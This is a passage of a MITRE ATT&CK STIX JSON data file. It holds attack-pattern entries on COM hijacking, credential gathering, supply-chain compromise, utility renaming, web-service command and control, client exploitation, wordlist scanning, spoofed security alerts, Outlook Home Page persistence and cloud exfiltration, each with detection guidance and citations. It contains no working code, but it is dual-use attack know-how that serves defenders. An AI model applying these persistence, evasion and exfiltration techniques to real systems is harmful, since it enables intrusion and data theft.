as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-21T12:34:29.402Z", "name": "Component Object Model Hijacking", "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Elastic"], "x_mitre_deprecated": false, "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.  \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Module: Module Load", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "created": "2020-03-16T14:12:47.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/015", "external_id": "T1546.015"}, {"source_name": "Elastic COM Hijacking", "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"}, {"source_name": "GDATA COM Hijacking", "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence"}, {"source_name": "Microsoft Component Object Model", "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", "url": "https://msdn.microsoft.com/library/ms694363.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-14T23:29:10.396Z", "name": "Credentials", "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_contributors": ["Vinayak Wadhwa, Lucideus", "Lee Christensen, SpecterOps", "Toby Kohlenberg"], "x_mitre_deprecated": false, "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.1", "type": "attack-pattern", "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", "created": "2020-10-02T14:55:43.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1589/001", "external_id": "T1589.001"}, {"source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"}, {"source_name": "Detectify Slack Tokens", "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.", "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/"}, {"source_name": "GitHub truffleHog", "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", "url": "https://github.com/dxa4481/truffleHog"}, {"source_name": "Register Uber", "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"}, {"source_name": "GitHub Gitrob", "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", "url": "https://github.com/michenriksen/gitrob"}, {"source_name": "CNET Leaks", "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"}, {"source_name": "Okta Scatter Swine 2022", "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.", "url": "https://sec.okta.com/scatterswine"}, {"source_name": "Forbes GitHub Creds", "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"}, {"source_name": "Register Deloitte", "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "created": "2020-03-11T14:17:21.153Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1195.002", "url": "https://attack.mitre.org/techniques/T1195/002"}, {"source_name": "Avast CCleaner3 2018", "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018."}, {"source_name": "Command Five SK 2011", "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf", "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)  ", "modified": "2022-04-28T16:04:36.636Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Compromise Software Supply Chain", "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Metadata"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-14T21:12:48.411Z", "name": "Rename System Utilities", "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Modification", "Process: Process Metadata", "Command: Command Execution", "File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "created": "2020-02-10T20:03:11.691Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/003", "external_id": "T1036.003"}, {"source_name": "Twitter ItsReallyNick Masquerading Update", "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457"}, {"source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"}, {"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"}, {"source_name": "LOLBAS Main Site", "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", "url": "https://lolbas-project.github.io/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "type": "attack-pattern", "created": "2020-03-14T22:34:03.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1102.002", "url": "https://attack.mitre.org/techniques/T1102/002"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-26T23:15:47.861Z", "name": "Bidirectional Communication", "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "created": "2018-04-18T17:59:24.739Z", "x_mitre_version": "1.4", "external_references": [{"source_name": "mitre-attack", "external_id": "T1203", "url": "https://attack.mitre.org/techniques/T1203"}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", "modified": "2022-04-18T18:48:06.141Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Exploitation for Client Execution", "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Process: Process Creation", "Application Log: Application Log Content"], "x_mitre_system_requirements": ["Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise."], "x_mitre_remote_support": false, "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jan Petrov, Citi", "Elvis Veliz, Citi", "Richard Julian, Citi"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", "created": "2022-03-04T18:56:38.844Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1595.003", "url": "https://attack.mitre.org/techniques/T1595/003"}, {"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}, {"source_name": "GCPBucketBrute", "url": "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/", "description": "Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022."}, {"source_name": "S3Recon GitHub", "url": "https://github.com/clarketm/s3recon", "description": "Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).  \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ", "modified": "2022-04-15T19:10:23.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Wordlist Scanning", "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-12T22:46:33.995Z", "name": "Spoof Security Alerting", "description": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a \u201chealthy\u201d system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: Process Creation", "Sensor Health: Host Status"], "type": "attack-pattern", "id": "attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff", "created": "2023-03-14T16:04:24.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/011", "external_id": "T1562.011"}, {"source_name": "BlackBasta", "description": "Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023.", "url": "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441", "type": "attack-pattern", "created": "2019-11-07T20:09:56.536Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1137.004", "url": "https://attack.mitre.org/techniques/T1137/004"}, {"source_name": "SensePost Outlook Home Page", "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."}, {"source_name": "Microsoft Detect Outlook Forms", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."}, {"source_name": "SensePost NotRuler", "url": "https://github.com/sensepost/notruler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}], "modified": "2021-08-16T21:30:01.743Z", "name": "Outlook Home Page", "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content", "Command: Command Execution", "Process: Process Creation"], "x_mitre_permissions_required": ["Administrator", "User"]}, {"modified": "2023-12-26T20:59:21.941Z", "name": "Asymmetric Cryptography", "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "created": "2020-03-16T15:48:33.882Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1573/002", "external_id": "T1573.002"}, {"source_name": "SANS Decrypting SSL", "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"}, {"source_name": "SEI SSL Inspection Risks", "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-15T19:11:47.547Z", "name": "Exfiltration to Cloud Storage", "description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client 